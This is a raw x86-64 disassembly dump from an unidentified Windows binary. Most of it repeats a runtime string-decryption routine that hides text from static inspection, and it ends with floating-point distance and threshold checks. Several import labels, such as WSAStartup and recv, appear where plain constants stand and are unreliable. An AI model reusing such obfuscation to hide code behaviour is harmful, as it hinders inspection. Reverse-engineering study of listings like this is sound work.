movzx eax, byte [rsp + 0xba]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x30]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9638
inc cl
cmp cl, 8
jne 0x1400c9626
jmp 0x1400c964a
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0xb9]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x30]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9664
inc cl
cmp cl, 5
jne 0x1400c9652
jmp 0x1400c9676
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0xb8]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0xb6]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 0x21
jne 0x1400c95c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x230], xmm0
mov qword [rsp + 0x240], rdi
mov qword [rsp + 0x248], rdi
lea rax, [rsp + 0x642]
mov r12, 0xffffffffffffffff
mov r8, r12
nop
inc r8
cmp byte [rax + r8], dil
jne 0x1400c96c0
lea rdx, [rsp + 0x642]
lea rcx, [rsp + 0x230]
call fcn.140086c40
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x250], xmm0
mov qword [rsp + 0x260], rdi
mov qword [rsp + 0x268], rdi
lea rax, [rsp + 0x93]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400c9705
lea rdx, [rsp + 0x93]
lea rcx, [rsp + 0x250]
call fcn.140086c40
nop
movdqa xmm0, xmmword [0x140377d60]
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmm1, xmmword [0x1403774e0]
movdqa xmmword [rsp + 0x1a0], xmm1
movdqa xmm0, xmmword [0x1403771f0]
movdqa xmmword [rsp + 0x1b0], xmm0
mov qword [rsp + 0x1c0], 0
mov dword [rsp + 0x1c8], 0
mov dword [rsp + 0x1cd], 0x90972
mov word [rsp + 0x1d1], 0x305
mov byte [rsp + 0x1d3], WSAStartup
mov byte [rsp + 0x1cc], 0
mov r10d, edi
lea r8, [rsp + 0x1bd]
nop
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x190]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, byte [rsp + 0x1cf]
add al, r11b
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x190]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c97f6
inc dl
cmp dl, 4
jne 0x1400c97e0
jmp 0x1400c9808
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x1d2]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x190]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9832
inc cl
cmp cl, 8
jne 0x1400c9820
jmp 0x1400c9844
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x1d1]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x190]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9862
inc cl
cmp cl, 5
jne 0x1400c9850
jmp 0x1400c9874
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x1d0]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x1ce]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 0xf
jne 0x1400c97a0
movdqa xmm0, xmmword [0x140377ed0]
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmm1, xmmword [0x140377660]
movdqa xmmword [rsp + 0x1f0], xmm1
movdqa xmm0, xmmword [0x1403771b0]
movdqa xmmword [rsp + 0x200], xmm0
mov qword [rsp + 0x210], 0
mov dword [rsp + 0x219], 0x97209
mov word [rsp + 0x21d], 0x305
mov byte [rsp + 0x21f], WSAStartup
mov byte [rsp + 0x218], 0
mov r10d, edi
lea r8, [rsp + 0x20a]
nop
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x1e0]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, byte [rsp + 0x21b]
add al, r11b
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x1e0]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c9956
inc dl
cmp dl, 4
jne 0x1400c9940
jmp 0x1400c9968
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x21e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x1e0]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9992
inc cl
cmp cl, 8
jne 0x1400c9980
jmp 0x1400c99a4
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x21d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x1e0]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c99c2
inc cl
cmp cl, 5
jne 0x1400c99b0
jmp 0x1400c99d4
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x21c]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x21a]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 0xe
jne 0x1400c9900
xorps xmm0, xmm0
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], rdi
mov qword [rsp + 0x288], rdi
lea rax, [rsp + 0x1bd]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400c9a15
lea rdx, [rsp + 0x1bd]
lea rcx, [rsp + 0x270]
call fcn.140086c40
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], rdi
mov qword [rsp + 0x2a8], rdi
lea rax, [rsp + 0x20a]
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400c9a60
lea rdx, [rsp + 0x20a]
lea rcx, [rsp + 0x290]
call fcn.140086c40
nop
movdqa xmm0, xmmword [0x140377db0]
movdqu xmmword [rsp + 0xd0], xmm0
mov dword [rsp + 0xe0], 0x731000
mov qword [rsp + 0xe4], reloc.WS2_32.dll_recv
mov dword [rsp + 0xed], 0x6363cc
mov word [rsp + 0xf1], 0x305
mov byte [rsp + 0xf3], Ordinal_211
mov byte [rsp + 0xec], 0
mov r10d, edi
lea r8, [rsp + 0xe5]
nop dword [rax + rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0xd0]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, byte [rsp + 0xef]
add al, r11b
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0xd0]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c9b36
inc dl
cmp dl, 4
jne 0x1400c9b20
jmp 0x1400c9b48
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0xf2]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0xd0]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9b72
inc cl
cmp cl, 8
jne 0x1400c9b60
jmp 0x1400c9b84
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0xf1]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0xd0]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9ba2
inc cl
cmp cl, 5
jne 0x1400c9b90
jmp 0x1400c9bb4
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0xf0]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0xee]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 7
jne 0x1400c9ae0
lea rdx, [rsp + 0x370]
call fcn.1400ca550
mov r9, rax
lea rsi, [rax + 0x8d]
mov byte [rsi + 0x2f], 0
mov r11d, edi
mov r8, rsi
lea edi, [r11 + r11*2]
movzx ecx, byte [rdi + r9]
mov byte [r8], cl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx eax, bl
add al, byte [r9 + 0xbf]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rdi + 1]
movzx r10d, byte [rax + r9]
nop
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c9c36
inc dl
cmp dl, 4
jne 0x1400c9c20
jmp 0x1400c9c48
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xc2]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rdi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9c67
inc cl
cmp cl, 8
jne 0x1400c9c55
jmp 0x1400c9c79
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xc1]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9c92
inc cl
cmp cl, 5
jne 0x1400c9c80
jmp 0x1400c9ca4
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xc0]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xbe]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x2f
jne 0x1400c9bf0
xorps xmm0, xmm0
movups xmmword [rsp + 0x2b0], xmm0
xor edi, edi
mov qword [rsp + 0x2c0], rdi
mov qword [rsp + 0x2c8], rdi
lea rax, [rsp + 0xe5]
mov r8, r12
inc r8
cmp byte [rax + r8], dil
jne 0x1400c9ce6
lea rdx, [rsp + 0xe5]
lea rcx, [rsp + 0x2b0]
call fcn.140086c40
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x2d0], xmm0
mov qword [rsp + 0x2e0], rdi
mov qword [rsp + 0x2e8], rdi
mov r8, r12
inc r8
cmp byte [rsi + r8], 0
jne 0x1400c9d23
mov rdx, rsi
lea rcx, [rsp + 0x2d0]
call fcn.140086c40
nop
movdqa xmm0, xmmword [0x140377fc0]
movdqu xmmword [rsp + 0x150], xmm0
movdqa xmm1, xmmword [0x1403772f0]
movdqu xmmword [rsp + 0x160], xmm1
mov qword [rsp + 0x170], 0
mov dword [rsp + 0x179], 0x63cc63
mov word [rsp + 0x17d], 0x305
mov byte [rsp + 0x17f], Ordinal_211
mov byte [rsp + 0x178], 0
mov r10d, edi
lea r8, [rsp + 0x16e]
nop dword [rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x150]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, byte [rsp + 0x17b]
add al, r11b
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x150]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c9df6
inc dl
cmp dl, 4
jne 0x1400c9de0
jmp 0x1400c9e08
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x17e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x150]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9e32
inc cl
cmp cl, 8
jne 0x1400c9e20
jmp 0x1400c9e44
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x17d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x150]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9e62
inc cl
cmp cl, 5
jne 0x1400c9e50
jmp 0x1400c9e74
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x17c]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x17a]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 0xa
jne 0x1400c9da0
mov byte [rsp + 0xc0], 0
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0xc0]
call fcn.1400ca6b0
mov r9, rax
lea rsi, [rax + 0x159]
mov byte [rsi + 0x73], 0
mov r11d, edi
mov r8, rsi
lea edi, [r11 + r11*2]
movzx ecx, byte [rdi + r9]
mov byte [r8], cl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx eax, bl
add al, byte [r9 + 0x1cf]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rdi + 1]
movzx r10d, byte [rax + r9]
nop
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c9f06
inc dl
cmp dl, 4
jne 0x1400c9ef0
jmp 0x1400c9f18
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x1d2]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rdi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9f37
inc cl
cmp cl, 8
jne 0x1400c9f25
jmp 0x1400c9f49
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x1d1]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c9f62
inc cl
cmp cl, 5
jne 0x1400c9f50
jmp 0x1400c9f74
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x1d0]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x1ce]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x73
jne 0x1400c9ec0
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
xor edi, edi
mov qword [rsp + 0x300], rdi
mov qword [rsp + 0x308], rdi
lea rax, [rsp + 0x16e]
mov r8, r12
inc r8
cmp byte [rax + r8], dil
jne 0x1400c9fb6
lea rdx, [rsp + 0x16e]
lea rcx, [rsp + 0x2f0]
call fcn.140086c40
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x310], xmm0
mov qword [rsp + 0x320], rdi
mov qword [rsp + 0x328], rdi
inc r12
cmp byte [rsi + r12], 0
jne 0x1400c9ff0
mov r8, r12
mov rdx, rsi
lea rcx, [rsp + 0x310]
call fcn.140086c40
nop
lea rax, [rsp + 0x230]
mov qword [rsp + 0x630], rax
lea rax, [rsp + 0x330]
mov qword [rsp + 0x638], rax
movaps xmm0, xmmword [rsp + 0x630]
movdqa xmmword [rsp + 0x630], xmm0
lea rdx, [rsp + 0x630]
lea rcx, [rsp + 0x128]
call fcn.1400636a0
nop
lea rdx, [rsp + 0x128]
mov rcx, r14
call fcn.1400832c0
nop
lea rcx, [rsp + 0x128]
call fcn.1400646c0
nop
lea r9, [0x14003cd60]
mov edx, 0x40
lea r8d, [rdx - 0x3c]
lea rcx, [rsp + 0x230]
call fcn.140313ca0
mov rcx, qword [r13 + 0x1d8]
call fcn.1400b7300
test al, al
jne 0x1400ca0f8
mov rbx, qword [r13 + 0x1d8]
test rbx, rbx
je 0x1400ca0f1
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x1400ca0bb
call fcn.1402c3d90
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400ca0c8
call fcn.1402c2820
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1400ca0d6
call fcn.1403139e0
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x1400ca0e4
call fcn.1402c23c0
mov edx, gethostname
mov rcx, rbx
call fcn.1403139e0
mov qword [r13 + 0x1d8], rdi
movss xmm9, dword [0x140398cd0]
cvtps2pd xmm9, xmm9
movss xmm11, dword [0x140398ca0]
cvtps2pd xmm11, xmm11
movss xmm1, dword [r13 + 0x170]
cvtps2pd xmm1, xmm1
movaps xmm0, xmm9
subsd xmm0, xmm1
mulsd xmm0, xmm11
movsd xmm8, qword [0x140376ec8]
movaps xmm1, xmm8
call fcn.140343fb0
movaps xmm7, xmm0
movss xmm10, dword [0x140398cd4]
cvtps2pd xmm10, xmm10
movss xmm12, dword [0x140398ca4]
cvtps2pd xmm12, xmm12
movss xmm1, dword [r13 + 0x174]
cvtps2pd xmm1, xmm1
movaps xmm0, xmm10
subsd xmm0, xmm1
mulsd xmm0, xmm12
movaps xmm1, xmm8
call fcn.140343fb0
movaps xmm6, xmm0
movss xmm0, dword [r13 + 0x180]
cvtps2pd xmm0, xmm0
mulsd xmm0, xmm11
movaps xmm1, xmm8
call fcn.140343fb0
addsd xmm6, xmm7
comisd xmm0, xmm6
jb 0x1400ca1c8
cmp byte [r13 + 0x1e7], 0
je 0x1400ca2fa
mov byte [r13 + 0x1e7], 0
xor edx, edx
mov rcx, r13
call fcn.1400cab10
jmp 0x1400ca2f7
movss xmm1, dword [r13 + 0x198]
cvtps2pd xmm1, xmm1
movaps xmm0, xmm9
subsd xmm0, xmm1
mulsd xmm0, xmm11
movaps xmm1, xmm8
call fcn.140343fb0
movaps xmm7, xmm0
movss xmm1, dword [r13 + 0x19c]
cvtps2pd xmm1, xmm1
movaps xmm0, xmm10
subsd xmm0, xmm1
mulsd xmm0, xmm12
movaps xmm1, xmm8
call fcn.140343fb0
movaps xmm6, xmm0
movss xmm0, dword [r13 + 0x1a8]
cvtps2pd xmm0, xmm0
mulsd xmm0, xmm11
movaps xmm1, xmm8
call fcn.140343fb0
addsd xmm6, xmm7
comisd xmm0, xmm6
jb 0x1400ca25b
cmp byte [r13 + 0x1e7], 1
je 0x1400ca2fa
mov byte [r13 + 0x1e7], 1
mov dl, 1
mov rcx, r13
call fcn.1400cab10
jmp 0x1400ca2f7
movss xmm1, dword [r13 + 0x1c0]
cvtps2pd xmm1, xmm1
subsd xmm9, xmm1
mulsd xmm9, xmm11
movaps xmm1, xmm8
movaps xmm0, xmm9
call fcn.140343fb0
movaps xmm7, xmm0
movss xmm2, dword [r13 + 0x1c4]
cvtps2pd xmm2, xmm2
subsd xmm10, xmm2
mulsd xmm10, xmm12
movaps xmm1, xmm8
movaps xmm0, xmm10
call fcn.140343fb0
movaps xmm6, xmm0
movss xmm0, dword [r13 + 0x1d0]
cvtps2pd xmm0, xmm0
mulsd xmm0, xmm11
movaps xmm1, xmm8
call fcn.140343fb0
movzx eax, byte [r13 + 0x1e7]
addsd xmm6, xmm7
comisd xmm0, xmm6
jb 0x1400ca2eb
cmp al, 2
je 0x1400ca2fa
mov byte [r13 + 0x1e7], 2
mov dl, 2
mov rcx, r13
call fcn.1400cab10
jmp 0x1400ca2f7
cmp al, 0xff
je 0x1400ca2fa
mov byte [r13 + 0x1e7], 0xff
mov r15b, 1
movzx eax, r15b
jmp 0x1400ca302
mov rcx, qword [rsp + 0x6f8]
xor rcx, rsp
call fcn.1403139c0
lea r11, [rsp + 0x770]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rcx, rax
call fcn.14006b740
mov qword [rsp + 0x148], rax
lea r8, [rsp + 0x148]
lea rcx, [rsp + 0xd0]
call fcn.1400d37b0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x338]
call fcn.14006b7d0
lea rdx, [0x140395718]
lea rcx, [rsp + 0x338]
call fcn.140315bac
int3